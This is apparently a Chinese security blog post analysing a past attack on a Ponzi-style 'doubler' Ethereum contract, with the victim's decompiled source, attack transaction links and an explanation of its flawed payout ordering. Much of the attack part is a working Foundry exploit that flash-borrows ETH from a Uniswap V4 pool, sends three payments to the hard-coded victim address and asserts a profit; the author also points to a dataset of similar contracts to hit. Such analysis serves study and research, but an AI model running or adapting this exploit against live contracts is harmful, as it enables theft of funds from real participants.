一种之前很流行的旁氏,我暂且叫:Pangzi类吧(狗头)
漏洞合约: https://app.dedaub.com/ethereum/address/0xe6329d65ebcc5cbccdd719d7b18ac9e220dca145/decompiled 攻击tx:https://etherscan.io/tx/0xf174c30f1becd1fad7c21a8eda50c958cf30bb662f218e5c5e65b7ec441fc545 攻击者:0xb561258b4bf282d1e5329d675b6f399d691d444c Exp:0xfBb9224f20163A044Dd2CB55f01A94E0fD140a24
个损失金额也不大, 为什么要写这个合约漏洞。 这个合约漏洞出自我要写的参考论文里面。很多类似合约:
分析 我们先直接看攻击事件中的调用: 首先直接定位到受到攻击的合约中: 发现攻击合约调用了3次受害合约的fallback() 根据反编译的标签StackyGame,可以在github找到类似 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 contract StackyGame { struct Participant { address etherAddress; uint amount; } Participant [] public participants; uint public payoutIdx = 0 ; uint public collectedFees; uint public balance = 0 ; address public owner; modifier onlyowner { if (msg.sender == owner) _ } function Doubler ( ) { owner = msg.sender ; } function ( ) { enter (); } function enter ( ) { if (msg.value > 1 ether) { msg.sender .send (msg.value ); return ; } uint idx = participants.length ; participants.length += 1 ; participants[idx].etherAddress = msg.sender ; participants[idx].amount = msg.value ; if (idx != 0 ) { collectedFees += msg.value * 1 / 20 ; balance += msg.value ; } else { collectedFees += msg.value ; } if (balance > participants[payoutIdx].amount * 2 ) { uint transactionAmount = 2 * (participants[payoutIdx].amount - participants[payoutIdx].amount / 20 ); participants[payoutIdx].etherAddress .send (transactionAmount); balance -= participants[payoutIdx].amount * 2 ; payoutIdx += 1 ; } } function collectFees ( ) onlyowner { if (collectedFees == 0 ) return ; owner.send (collectedFees); collectedFees = 0 ; } function setOwner (address _owner ) onlyowner { owner = _owner; } }
这个合约本质上是一个旁氏合约:新参与者被记录在 participants 数组中,后来的参与者出钱,早期参与者拿双倍回报。
enter() 在 对外发送 ETH 之后才更新关键状态 balance 和 payoutIdx,且没有检查 send 返回值: 说明:send() 只提供 2300 gas,可能执行失败;如果失败,send() 返回 false,但调用者合约不会自动回滚。
1 2 3 participants[payoutIdx].etherAddress.send(transactionAmount); // 这一步钱先出去了 balance -= participants[payoutIdx].amount * 2; // 账本才改 payoutIdx += 1 // 索引才动
如果 participants [payoutIdx ] .etherAddress是一个合约,它在执行这一块participants[payoutIdx].etherAddress.send(transactionAmount); 接收 ETH 时就会触发fallback 。
所以根据tx我们直接写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 pragma solidity ^0.8 .30 ; import "forge-std/Test.sol" ;interface IPoolManager { function unlock (bytes calldata data ) external returns (bytes memory); function take (address currency, address to, uint256 amount ) external; function settle ( ) external payable returns (uint256); } interface IDoublerVictim { function balance ( ) external view returns (uint256); function payoutIdx ( ) external view returns (uint256); function participants ( ) external view returns (uint256); } contract AttackContract { address public constant PM = 0x000000000004444c5dc75cB358380D2e3dE08A90 ; address public constant VICTIM = 0xE6329d65eBcc5CBCcdD719D7b18ac9E220Dca145 ; address public constant NATIVE = address (0 ); bool private attacking; function triggerAttack ( ) external { IPoolManager (PM ).unlock ("" ); selfdestruct (payable (msg.sender )); } function unlockCallback (bytes calldata ) external payable returns (bytes memory) { require (msg.sender == PM , "not manager" ); if (attacking) return new bytes (0 ); attacking = true ; IPoolManager (PM ).take (NATIVE , address (this ), 3 ether); payable (VICTIM ).call {value : 0.1 ether}("" ); payable (VICTIM ).call {value : 0.9 ether}("" ); payable (VICTIM ).call {value : 1.7 ether}("" ); IPoolManager (PM ).settle {value : 3 ether}(); attacking = false ; return new bytes (0 ); } receive () external payable {} fallback () external payable {} } contract AttackTest is Test { address constant VICTIM = 0xE6329d65eBcc5CBCcdD719D7b18ac9E220Dca145 ; address constant PM = 0x000000000004444c5dc75cB358380D2e3dE08A90 ; AttackContract attackContract; address attacker; function setUp ( ) public { attacker = address (this ); vm.createSelectFork (vm.envString ("ETH_RPC_URL" ), 23575460 ); vm.startPrank (attacker); attackContract = new AttackContract (); vm.stopPrank (); console .log ("Attacker:" , attacker); console .log ("Attack Contract:" , address (attackContract)); console .log ("Victim Contract:" , VICTIM ); console .log ("UNIV4PoolManager:" , PM ); } function testAttack ( ) public { uint256 attackerBalanceBefore = attacker.balance ; uint256 payoutIdxBefore = 0 ; try IDoublerVictim (VICTIM ).payoutIdx () returns (uint256 idx) { payoutIdxBefore = idx; } catch {} console .log ("\n=== Attack ===" ); vm.prank (attacker); attackContract.triggerAttack (); uint256 attackerBalanceAfter = attacker.balance ; uint256 payoutIdxAfter = 0 ; try IDoublerVictim (VICTIM ).payoutIdx () returns (uint256 idx) { payoutIdxAfter = idx; } catch {} int256 netProfit = int256 (attackerBalanceAfter) - int256 (attackerBalanceBefore); console .log ("Victim PayoutIdx:" , payoutIdxAfter - payoutIdxBefore); console .log ("Net Profit (Wei):" , netProfit); assertTrue (netProfit > int256 (0.5 ether), "Attack should profit > 0.5 ETH" ); } receive () external payable {} }
Foundry这里有个bug::当时一直进不去闪电贷,然后再官方群问了下这样回答的,然后解决了。
类似合约:https://github.com/cakcora/Chainoba/blob/83a7000c4aa8020481771c0956a9918a335fc2f5/anomaly/PonziData.txt#L68
打的时候会发现很多都无法利用,甚至都是亏钱的,其实问题出在我们攻击的合约的计算这里: 开发者应该是想写1的 结果写成98了